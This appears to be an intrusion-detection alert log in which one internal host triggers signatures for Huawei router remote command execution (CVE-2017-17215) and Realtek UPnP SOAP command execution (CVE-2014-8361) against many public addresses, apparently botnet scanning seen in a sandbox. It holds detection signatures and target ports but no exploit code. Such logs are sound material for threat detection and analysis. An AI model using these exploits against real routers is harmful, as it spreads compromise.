07/20/24-23:00:59.020509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58098	37215	192.168.2.13	197.124.222.24
07/20/24-23:00:59.020403	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41716	37215	192.168.2.13	197.168.76.154
07/20/24-23:01:07.348663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50388	52869	192.168.2.13	219.208.149.193
07/20/24-23:01:22.810997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55076	37215	192.168.2.13	38.115.42.6
07/20/24-23:01:25.390311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57958	37215	192.168.2.13	41.196.243.220
07/20/24-23:01:04.853128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38688	37215	192.168.2.13	41.174.97.64
07/20/24-23:01:06.798722	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37822	37215	192.168.2.13	88.21.18.99
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60812	37215	192.168.2.13	157.24.233.95
07/20/24-23:00:59.020587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60718	37215	192.168.2.13	197.190.172.118
07/20/24-23:01:04.572286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46442	52869	192.168.2.13	80.226.91.150
07/20/24-23:01:14.546238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42016	52869	192.168.2.13	195.228.120.248
07/20/24-23:01:27.366829	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34996	52869	192.168.2.13	98.113.228.216
07/20/24-23:01:02.661070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33836	37215	192.168.2.13	90.118.180.212
07/20/24-23:01:14.539078	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46688	52869	192.168.2.13	168.61.125.85
07/20/24-23:01:25.389085	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39650	37215	192.168.2.13	41.101.180.110
07/20/24-23:01:25.389455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34806	37215	192.168.2.13	120.12.100.82
07/20/24-23:00:59.021587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58158	37215	192.168.2.13	157.138.203.32
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59048	37215	192.168.2.13	123.80.84.34
07/20/24-23:00:59.019559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38980	37215	192.168.2.13	197.214.55.135
07/20/24-23:01:14.521013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59240	52869	192.168.2.13	209.200.229.61
07/20/24-23:01:22.737455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49236	37215	192.168.2.13	41.169.214.128
07/20/24-23:01:06.798920	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57556	37215	192.168.2.13	157.154.111.104
07/20/24-23:01:27.354360	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37072	52869	192.168.2.13	187.26.97.109
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46684	37215	192.168.2.13	51.138.200.142
07/20/24-23:01:22.753217	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54918	37215	192.168.2.13	157.169.135.127
07/20/24-23:01:14.569004	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60566	52869	192.168.2.13	57.53.68.209
07/20/24-23:00:59.022701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35044	37215	192.168.2.13	197.35.252.89
07/20/24-23:01:08.464559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38700	37215	192.168.2.13	23.208.206.64
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33212	37215	192.168.2.13	72.110.150.184
07/20/24-23:01:22.819749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45862	37215	192.168.2.13	203.43.242.224
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43100	37215	192.168.2.13	41.33.115.94
07/20/24-23:01:36.781974	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37660	37215	192.168.2.13	41.31.98.182
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43246	37215	192.168.2.13	157.181.19.73
07/20/24-23:01:04.853320	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47924	37215	192.168.2.13	14.145.220.146
07/20/24-23:01:27.358599	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57136	52869	192.168.2.13	124.217.207.199
07/20/24-23:01:08.368788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34154	37215	192.168.2.13	157.199.241.114
07/20/24-23:01:14.526400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53100	52869	192.168.2.13	168.69.38.135
07/20/24-23:01:32.199687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52372	37215	192.168.2.13	197.240.222.9
07/20/24-23:01:27.355018	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36084	52869	192.168.2.13	189.108.39.158
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34512	37215	192.168.2.13	197.188.72.175
07/20/24-23:01:22.809590	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36608	37215	192.168.2.13	157.41.160.20
07/20/24-23:01:06.621773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36064	52869	192.168.2.13	198.95.42.42
07/20/24-23:01:20.497462	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45004	52869	192.168.2.13	207.192.171.160
07/20/24-23:01:14.551639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55898	52869	192.168.2.13	13.146.164.210
07/20/24-23:01:02.613456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44970	37215	192.168.2.13	41.39.134.254
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35366	37215	192.168.2.13	41.7.215.215
07/20/24-23:01:05.766789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55584	52869	192.168.2.13	77.182.150.37
07/20/24-23:01:07.257620	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39972	52869	192.168.2.13	158.90.117.175
07/20/24-23:01:27.306441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59528	37215	192.168.2.13	157.62.121.121
07/20/24-23:00:59.022701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40306	37215	192.168.2.13	157.42.236.252
07/20/24-23:01:27.353289	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45900	52869	192.168.2.13	148.238.53.45
07/20/24-23:01:08.419092	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37310	37215	192.168.2.13	197.183.121.78
07/20/24-23:01:04.892375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47646	37215	192.168.2.13	157.191.77.209
07/20/24-23:01:12.356929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44614	37215	192.168.2.13	41.183.116.207
07/20/24-23:01:14.556193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59432	52869	192.168.2.13	60.17.2.252
07/20/24-23:01:25.389741	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58482	37215	192.168.2.13	157.246.70.194
07/20/24-23:01:27.352658	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46798	52869	192.168.2.13	77.11.226.101
07/20/24-23:01:12.356738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54774	37215	192.168.2.13	157.196.5.149
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38052	37215	192.168.2.13	41.195.201.112
07/20/24-23:01:22.810316	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47260	37215	192.168.2.13	130.158.185.94
07/20/24-23:01:32.250506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36522	37215	192.168.2.13	157.171.85.198
07/20/24-23:01:14.559132	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44004	52869	192.168.2.13	160.161.205.189
07/20/24-23:00:59.023270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35012	37215	192.168.2.13	157.24.52.3
07/20/24-23:01:36.798333	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48614	37215	192.168.2.13	41.146.212.204
07/20/24-23:01:32.262033	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42442	37215	192.168.2.13	157.67.33.5
07/20/24-23:01:04.867862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43796	37215	192.168.2.13	197.16.60.88
07/20/24-23:01:27.356781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53766	52869	192.168.2.13	147.249.130.149
07/20/24-23:01:04.908543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43176	37215	192.168.2.13	197.67.197.224
07/20/24-23:01:08.459273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33824	37215	192.168.2.13	47.15.127.11
07/20/24-23:01:22.746527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44684	37215	192.168.2.13	41.14.156.68
07/20/24-23:02:06.044957	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39468	52869	192.168.2.13	82.38.244.59
07/20/24-23:01:22.736716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35174	37215	192.168.2.13	197.7.185.174
07/20/24-23:01:36.852816	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36816	37215	192.168.2.13	197.130.43.43
07/20/24-23:01:14.517250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52164	52869	192.168.2.13	77.222.205.40
07/20/24-23:01:07.200827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50080	52869	192.168.2.13	78.8.181.144
07/20/24-23:01:17.779183	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33254	37215	192.168.2.13	157.173.88.176
07/20/24-23:01:25.391285	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59450	37215	192.168.2.13	41.72.164.118
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50946	37215	192.168.2.13	37.78.206.63
07/20/24-23:01:14.509824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38840	52869	192.168.2.13	69.82.73.167
07/20/24-23:01:32.263122	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54490	37215	192.168.2.13	157.146.151.172
07/20/24-23:01:25.390959	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58166	37215	192.168.2.13	157.18.59.221
07/20/24-23:01:07.498874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57608	52869	192.168.2.13	119.98.5.56
07/20/24-23:01:36.852816	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44818	37215	192.168.2.13	157.43.91.131
07/20/24-23:01:36.837667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55608	37215	192.168.2.13	128.45.232.171
07/20/24-23:01:04.635097	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59404	52869	192.168.2.13	53.242.30.163
07/20/24-23:01:36.837667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57118	37215	192.168.2.13	97.197.39.59
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46060	37215	192.168.2.13	41.21.69.168
07/20/24-23:01:14.570907	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57200	52869	192.168.2.13	58.234.199.253
07/20/24-23:01:06.851270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33414	52869	192.168.2.13	106.43.123.108
07/20/24-23:01:27.357903	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54542	52869	192.168.2.13	64.157.100.230
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48962	37215	192.168.2.13	41.148.75.78
07/20/24-23:01:14.507784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39452	52869	192.168.2.13	91.73.86.81
07/20/24-23:01:17.775601	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60282	37215	192.168.2.13	112.182.139.168
07/20/24-23:01:02.699257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56702	37215	192.168.2.13	173.132.232.37
07/20/24-23:01:14.521865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34230	52869	192.168.2.13	126.66.84.101
07/20/24-23:01:06.798323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57908	37215	192.168.2.13	157.93.117.231
07/20/24-23:01:25.456024	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34406	37215	192.168.2.13	41.43.248.105
07/20/24-23:01:25.391285	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47340	37215	192.168.2.13	18.85.84.92
07/20/24-23:01:04.853320	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37322	37215	192.168.2.13	197.43.150.29
07/20/24-23:01:27.354009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48224	52869	192.168.2.13	152.52.101.23
07/20/24-23:01:15.000002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57738	37215	192.168.2.13	151.248.182.102
07/20/24-23:01:22.737919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46066	37215	192.168.2.13	41.37.173.52
07/20/24-23:01:05.785643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47268	52869	192.168.2.13	199.255.47.208
07/20/24-23:01:32.201728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56544	37215	192.168.2.13	189.187.15.229
07/20/24-23:01:36.799485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57202	37215	192.168.2.13	197.156.204.22
07/20/24-23:01:19.205364	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50712	52869	192.168.2.13	212.178.98.236
07/20/24-23:01:04.893876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40742	37215	192.168.2.13	41.140.230.143
07/20/24-23:01:21.756931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38410	52869	192.168.2.13	128.42.37.53
07/20/24-23:01:15.063531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37672	37215	192.168.2.13	5.165.79.192
07/20/24-23:01:02.699257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58484	37215	192.168.2.13	157.117.186.115
07/20/24-23:01:14.527257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43010	52869	192.168.2.13	89.84.130.3
07/20/24-23:01:20.475909	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49650	52869	192.168.2.13	177.53.116.167
07/20/24-23:01:04.523323	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46358	52869	192.168.2.13	13.164.169.253
07/20/24-23:01:06.552086	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57588	52869	192.168.2.13	54.236.238.51
07/20/24-23:01:14.999580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36712	37215	192.168.2.13	197.92.251.161
07/20/24-23:01:08.464559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38498	37215	192.168.2.13	41.193.52.48
07/20/24-23:01:22.747861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57288	37215	192.168.2.13	197.243.161.212
07/20/24-23:01:21.747671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47424	52869	192.168.2.13	206.120.243.243
07/20/24-23:00:59.021580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53236	37215	192.168.2.13	2.69.54.160
07/20/24-23:01:02.615482	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57060	37215	192.168.2.13	197.31.246.31
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34636	37215	192.168.2.13	157.115.242.85
07/20/24-23:01:22.748875	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32862	37215	192.168.2.13	157.140.191.150
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43364	37215	192.168.2.13	197.161.182.208
07/20/24-23:01:19.604116	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45058	52869	192.168.2.13	188.171.53.74
07/20/24-23:01:06.801544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56866	37215	192.168.2.13	197.44.202.147
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45410	37215	192.168.2.13	41.87.103.106
07/20/24-23:01:12.357577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43688	37215	192.168.2.13	105.211.89.122
07/20/24-23:01:14.523933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44084	52869	192.168.2.13	197.160.210.166
07/20/24-23:01:06.798673	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35716	37215	192.168.2.13	197.106.29.16
07/20/24-23:01:12.358719	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40118	37215	192.168.2.13	197.160.206.198
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51210	37215	192.168.2.13	41.27.247.39
07/20/24-23:01:25.390960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50634	37215	192.168.2.13	197.30.126.237
07/20/24-23:01:32.208939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58162	37215	192.168.2.13	167.143.161.58
07/20/24-23:01:21.374444	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44454	52869	192.168.2.13	139.159.183.229
07/20/24-23:01:22.834271	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41558	37215	192.168.2.13	157.79.194.18
07/20/24-23:00:59.020191	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38858	37215	192.168.2.13	41.209.60.208
07/20/24-23:01:06.258361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37992	52869	192.168.2.13	111.37.65.174
07/20/24-23:01:14.502058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50058	52869	192.168.2.13	64.111.121.228
07/20/24-23:01:14.544045	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40624	52869	192.168.2.13	20.106.107.244
07/20/24-23:01:14.544463	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50652	52869	192.168.2.13	49.146.39.71
07/20/24-23:01:32.264711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55360	37215	192.168.2.13	133.115.216.238
07/20/24-23:01:32.259330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40012	37215	192.168.2.13	197.221.235.93
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54014	37215	192.168.2.13	157.18.137.5
07/20/24-23:01:36.846304	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47890	37215	192.168.2.13	157.6.39.226
07/20/24-23:01:17.788569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52876	37215	192.168.2.13	123.239.3.159
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51000	37215	192.168.2.13	41.117.144.4
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55822	37215	192.168.2.13	157.11.38.153
07/20/24-23:01:07.404232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44042	52869	192.168.2.13	126.183.144.210
07/20/24-23:01:06.907572	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43360	52869	192.168.2.13	188.74.101.140
07/20/24-23:01:02.613619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37284	37215	192.168.2.13	14.117.126.33
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56986	37215	192.168.2.13	41.9.194.141
07/20/24-23:01:22.815176	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52802	37215	192.168.2.13	197.127.94.34
07/20/24-23:00:59.055808	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47022	37215	192.168.2.13	157.16.61.193
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53990	37215	192.168.2.13	197.111.92.249
07/20/24-23:01:02.695891	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46006	37215	192.168.2.13	41.171.233.155
07/20/24-23:01:06.844628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36270	52869	192.168.2.13	172.54.67.32
07/20/24-23:01:27.276711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60528	37215	192.168.2.13	109.45.117.18
07/20/24-23:01:14.541501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48706	52869	192.168.2.13	79.212.148.111
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57718	37215	192.168.2.13	168.29.107.22
07/20/24-23:01:04.803876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41132	52869	192.168.2.13	170.171.127.228
07/20/24-23:01:06.147232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59158	52869	192.168.2.13	164.8.255.47
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52894	37215	192.168.2.13	157.122.14.146
07/20/24-23:01:14.543026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51902	52869	192.168.2.13	24.166.198.46
07/20/24-23:01:21.766543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46788	52869	192.168.2.13	83.171.246.211
07/20/24-23:01:14.526400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45676	52869	192.168.2.13	205.130.81.109
07/20/24-23:01:14.569004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38430	52869	192.168.2.13	124.49.210.94
07/20/24-23:01:32.238260	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59760	37215	192.168.2.13	41.215.41.207
07/20/24-23:01:12.374034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36692	37215	192.168.2.13	197.158.220.112
07/20/24-23:01:12.487419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53268	37215	192.168.2.13	119.114.133.221
07/20/24-23:01:06.806392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48586	37215	192.168.2.13	197.190.13.194
07/20/24-23:01:27.285139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39776	37215	192.168.2.13	138.132.232.61
07/20/24-23:01:27.283164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33426	37215	192.168.2.13	37.73.51.105
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58658	37215	192.168.2.13	197.83.107.218
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46022	37215	192.168.2.13	178.42.122.244
07/20/24-23:01:04.858015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40242	37215	192.168.2.13	192.136.158.102
